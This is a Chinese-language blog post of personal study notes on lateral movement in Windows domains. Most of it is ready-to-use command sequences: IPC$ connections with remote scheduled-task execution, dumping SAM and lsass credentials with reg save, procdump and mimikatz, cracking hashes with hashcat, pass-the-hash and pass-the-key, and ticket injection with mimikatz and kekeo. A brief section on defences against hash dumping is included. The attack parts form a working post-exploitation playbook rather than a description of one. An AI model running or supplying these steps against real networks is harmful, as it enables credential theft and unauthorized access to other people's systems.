域内横向移动

域内横向移动

域内横向移动是指在获取到内网某台机器的控制权的基础上,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产),进一步扩大成果。

IPC window远程连接

虽然很老了,但是挺经典的。。

IPC(Internet Process Connection)是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通过ipc$可以与目标机器建立连接,利用这个连接可以在目标机器上运行命令。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\WINNT\)等,即为ADMIN、C、D、E等等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。在MS-DOS中键入“net share”命令来查看本机共享资源

1
net use \\192.168.1.1\ipc$ "pass" /user:adstudy\administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
使用ipc连接(需要账号密码)
net use \\192.168.1.106\ipc$ "example" /user:example
net use f: \\192.168.43.2\c$ "@nl1345834516" /user:"administrator" (即可将对方的c盘映射为自己的z盘,其他盘类推)
查看连接
net use
dir命令
dir \\192.168.43.247\c$
tasklist命令
tasklist /S 192.168.43.247 /U ning /P ning

查看目标时间
net time \\192.168.1.102

copy 命令
copy test.bat \\192.168.1.102\c$


设置任务
目标主机<=win server 2008
at \\192.168.1.102 16:45 c:\test.bat

目标主机>=win server 2012
schtasks /create /s 192.168.43.247 /tn test /sc onstart /tr c:\test.bat /ru system /f
执行任务
schtasks /run /s 192.168.43.247 /i /tn "test"


删除ipc$
net use \\192.168.43.3\ipc$ /del /y

利用条件:开启139、445端口;管理员开启了默认共享。

139端口的开启表示NetBIOS协议的应用

既然需要用户账号密码的话,用ssh连接也可以吧,且拿到shell了再反弹交互性比较好的shell就可以较为方便的去执行命令了,那这种方式在什么实战情景会派上用场呢?先了解着吧

获取Windows系统散列值

LM Hash和NTLM Hash

在域环境中,用户信息存储在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;

非域环境也就是在工作组环境中,当前主机用户的密码信息存储着在sam文件(C:\Windows\System32\config\SAM)。

Windows操作系统通常使用两种方法(LM和NTLM)对用户的明文密码进行加密处理。

LM Hash其本质是使用DES加密,从windows vista和windows server2008开始 windows默认禁用LM Hash。

如果LM Hash被禁用了,攻击者通过工具抓取LM Hash通常为”aad3b435b51404eeaad3b435b51404ee“(表示LM Hash为空或被禁用)。

NTLM Hash是基于MD4加密算法进行加密的。从windows vista和windows server2003以后均为NTLM Hash加密。

NTLM HASH比LM HASH的安全性要更高。

单机散列值(密码)抓取

要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System

由于本地用户名、散列值和其他安全验证信息都保存在SAM文件中。lsass.exe进程用于实现Windows的本地安全策略和登陆策略。

可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

SAM文件保存位置C:\Windows\System32\config,该文件不允许复制,但可以使用U盘进入PE系统进行复制

常用工具: GetPassword、PwDump7、QuarksPwDump、mimikatz、PowerShell

具体使用方式网上随便搜都能找到,这里就记录一下mimikatz和PowerShell,方便平时查阅

mimikatz使用

项目地址:https://github.com/gentilkiwi/mimikatz/

使用教程:Mimikatz——使用教程

绕过杀软执行mimikatz:九种姿势运行Mimikatz

当目标为win10或2012R2以上时(或打了KB997补丁),默认关闭WDigest,默认在内存缓存中禁止保存明文密码

但可以通过修改注册表的方式抓取明文。

mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cls:       清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出

1.利用reg导出SAM和System文件,通过mimikatz从文件读取NTLM hash。

通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘

需要system权限 cmd执行:

1
2
reg save hklm\sam sam.hive    
reg save hklm\system system.hive

2.管理员权限打开minikatz执行:

1
lsadump::sam /sam:sam.hive /system:system.hive    #文件和mimikatz放在同一目录

2.使用mimikatz直接读取本地SAM文件

需要将mimikatz上传至目标机器,在命令行中打开mimikatz,同时注意是否有杀软

1
2
3
privilege::debug    #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash

或者在线读取散列值及明文密码

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"   

3.mimikatz离线读取lsass.dmp文件

使用Procdump导出lsass.dmp文件

下载地址及使用说明参考:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

也可以使用任务管理器直接Dump,找到lsass.exe进程,右键->Create Dump File

mimikatz导出lsass.dmp文件中的密码散列值

1
2
sekurlsa::minidump lsass.DMP    #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值

使用hashcat获取密码

kali自带

1
2
3
4
5
hashcat -a 0 -m xx <hashfile> <zidian1> <zidian2>
-a 0:以字典模式破解。
-m xx:指定<hashfile>内的散列值类型。
<hashfile>:将多个散列值存入文本,等待破解。
<zidian1> <zidian2>:指定字典文件。

有时候需要使用--force参数强制执行

如果能得到明文密码,可以尝试进行密码喷洒

密码和散列值抓取防范

  • 设置Active Diretory 2012 R2功能级别

    Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放入该组

  • 打KB2871997补丁

  • 确保注册表项Wdigest值为0

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0     #在注册表中添加一个键值,将其设置为0,电脑注销后,windows将不会把密码明文存储在内存中。

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential #查询键值是否添加成功

哈希传递攻击(PTH)

哈希传递(Pass The Hah)通过找到与账户相关的密码散列值(通常是NTLM Hash)来进行攻击

散列值:当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一且该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输人的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输人的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。

为什么要使用HASH传递?

一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;

二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,

综上,只要我们获取到hash,我们依然可以正常登录,进行类似密码喷洒的操作

原理:在域环境中,用户登录计算机时使用的大都都是域账号,如果有一些计算机在安装时使用相同的本地管理员账户和密码,就可以使用pth登录内网中其他计算机,这种方式不需要破解hash的明文

1.NTLM Hash

获取ntlm hash的方法前面已经提过

minikatz进行hash传递,user对应用户,domin对应域名,ntlm就是抓取到的hash

1
2
privilege::debug
sekurlsa::pth /user:Administrator /domain:testlab /ntlm:f478e94103927311912ff00846210a30

此时会弹出一个cmd.exe,执行命令,例:列出c盘内容

1
dir \\dc\c$

2.AES-256密钥(Pass The Key)

必须要在目标机器上安装KB28711997,才可以导入AES-256密钥的方式进行横向移动(Pass The Key)

AES-128同样也可以用来传递

利用AES-256密钥进行横向移动,又称Pass The Key。

使用mimikatz抓取AES-256密钥

1
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"   

minikatz进行传递

1
sekurlsa::pth /user:Administrator /domain:testlab /aes256:f478e94103927311912ff00846210a30 

需要注意以下几点:

  • dir 后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误。
  • 除了AES-256密钥,AES-128密钥也可以用来进行哈希传递。
  • 使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997。
  • 如果安装了KB2871997,仍然可以使用SID为500的用户的NTLM Hash进行哈希传递。
  • 如果要使用mimikaz的哈希传递功能,需要具有本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)。

票据传递攻击(PTT)

票据传递攻击(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM 哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM 哈希或AES-256的值。票据传递攻击常用来做域控权限维持。

相较于PTH有一个优点,就是不需要本地管理员权限来进行横向移动

缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

深入的理解需要了解kerberos基本原理,这一块还没学,后面找时间专门补上:域渗透-票据传递攻击Pass the Ticket ,顺便深入了解一下kerberos基本原理

1.mimikatz进行票据传递

使用mimikatz(管理员权限)将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

删除票据,排除干扰

1
2
3
kerberos::purge   #mimikatz运行

klist purge #windows命令行

从生成的票据选择一个目标系统自己的,将票据文件注入内存:

1
mimikatz "kerberos::ptt "[0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"
1
kerberos::ptt C:\Users\Administrator\Desktop\mimikatz_trunk\x64\[0;3e7]-2-0-60a00000-STU1$@krbtgt-GOD.ORG.kirbi

2.kekeo进行票据传递

kekeo 下载地址:https://github.com/gentilkiwi/kekeo/releases/

kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

在当前目录生成一个票据文件

1
kekeo "tgt::ask /user:administrator /domain:testlab.com /ntlm:f478e94103927311912ff00846210a30"  

清除当前内存中的票据

1
2
3
kerberos::purse    #在kekeo中

klist purge #windows命令行

使用kekeo将票据文件导入内存,导入完成,exit推出

1
kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

使用dir命令查看远程主机的文件。

1
dir \\OWA2010CN-God\c$

注意:

  • 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
  • 票据文件注人内存的默认有效时间为10 小时。
  • 在目标机器上不需要本地管理员权限即可进行票据传递。
  • 当你获取某个机子的域名、用户名、NTLM Hash 三者,即便后来修改了密码,你也可以根据域名、用户名、NTLM Hash生成(黄金)票据,已经保持对该计算机的权限

这里只是对PTT的使用进行一个了解,有关金银票据的利用并没有深入了解,关于如何利用票据进行权限维持后面再深入学习


域内横向移动
https://www.supersmallblack.cn/域内横向移动.html
作者
Small Black
发布于
2024年1月23日
许可协议